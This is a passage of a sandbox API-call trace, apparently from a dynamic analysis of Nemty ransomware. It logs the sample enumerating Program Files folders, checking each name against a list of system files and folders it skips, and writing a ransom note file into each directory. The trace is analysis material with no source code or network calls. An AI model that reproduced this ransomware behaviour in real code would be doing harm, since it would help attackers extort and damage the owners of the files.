[0099.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0099.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.467] CreateFileW (lpFileName="C:\\Program Files\\Uninstall Information\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\uninstall information\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0099.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.468] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.468] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0099.469] CloseHandle (hObject=0x3c0) returned 1 [0099.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0099.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xeeee83b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeee83b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0099.469] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.469] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xeeee83b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeee83b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0099.469] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.469] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.469] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x837f9390, ftCreationTime.dwHighDateTime=0x1d5601a, ftLastAccessTime.dwLowDateTime=0xd41cd310, ftLastAccessTime.dwHighDateTime=0x1d52647, ftLastWriteTime.dwLowDateTime=0xd41cd310, ftLastWriteTime.dwHighDateTime=0x1d52647, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="lawyer_thai_passed.exe", cAlternateFileName="LAWYER~1.EXE")) returned 1 [0099.469] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2=".") returned 1 [0099.469] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="..") returned 1 [0099.469] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="...") returned 1 [0099.469] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="windows") returned -1 [0099.469] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="$RECYCLE.BIN") returned 1 [0099.469] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="rsa") returned -1 [0099.469] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="NTDETECT.COM") returned -1 [0099.469] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="ntldr") returned -1 [0099.469] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="MSDOS.SYS") returned -1 [0099.469] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="IO.SYS") returned 1 [0099.469] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="boot.ini") returned 1 [0099.469] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="boot.ini") returned 1 [0099.470] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="AUTOEXEC.BAT") returned 1 [0099.470] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="ntuser.dat") returned -1 [0099.470] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="desktop.ini") returned 1 [0099.470] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="CONFIG.SYS") returned 1 [0099.470] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="RECYCLER") returned -1 [0099.470] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="BOOTSECT.BAK") returned 1 [0099.470] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="bootmgr") returned 1 [0099.470] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="programdata") returned -1 [0099.470] lstrcmpiW (lpString1="lawyer_thai_passed.exe", lpString2="appdata") returned 1 [0099.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lawyer_thai_passed.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0099.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lawyer_thai_passed.exe", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lawyer_thai_passed.exe", lpUsedDefaultChar=0x0) returned 22 [0099.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0099.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lawyer_thai_passed.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0099.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lawyer_thai_passed.exe", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lawyer_thai_passed.exe", lpUsedDefaultChar=0x0) returned 22 [0099.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0099.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lawyer_thai_passed.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0099.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lawyer_thai_passed.exe", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lawyer_thai_passed.exe", lpUsedDefaultChar=0x0) returned 22 [0099.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lawyer_thai_passed.exe", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0099.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lawyer_thai_passed.exe", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lawyer_thai_passed.exe", lpUsedDefaultChar=0x0) returned 22 [0099.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f940f0 [0099.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.470] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeee83b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeeee83b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeee83b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0099.470] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0099.471] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0099.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0099.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0099.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0099.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.472] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeee83b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeeee83b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeee83b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0099.472] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0099.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0099.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0099.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0099.472] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbdac3950, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xbdac3950, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2=".") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="..") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="...") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="windows") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="$RECYCLE.BIN") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="rsa") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="NTDETECT.COM") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="ntldr") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="MSDOS.SYS") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="IO.SYS") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="boot.ini") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="boot.ini") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="AUTOEXEC.BAT") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="ntuser.dat") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="desktop.ini") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="CONFIG.SYS") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="RECYCLER") returned 1 [0099.472] lstrcmpiW (lpString1="Windows Defender", lpString2="BOOTSECT.BAK") returned 1 [0099.473] lstrcmpiW (lpString1="Windows Defender", lpString2="bootmgr") returned 1 [0099.473] lstrcmpiW (lpString1="Windows Defender", lpString2="programdata") returned 1 [0099.473] lstrcmpiW (lpString1="Windows Defender", lpString2="appdata") returned 1 [0099.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Defender", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Defender", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Defender", lpUsedDefaultChar=0x0) returned 16 [0099.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0099.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Defender", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Defender", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Defender", lpUsedDefaultChar=0x0) returned 16 [0099.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0099.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0099.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0099.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0099.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f915e8 [0099.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0099.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0099.473] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows defender\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0099.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.474] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.474] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0099.475] CloseHandle (hObject=0x3c0) returned 1 [0099.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0099.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0099.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f915e8 [0099.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0099.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.475] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 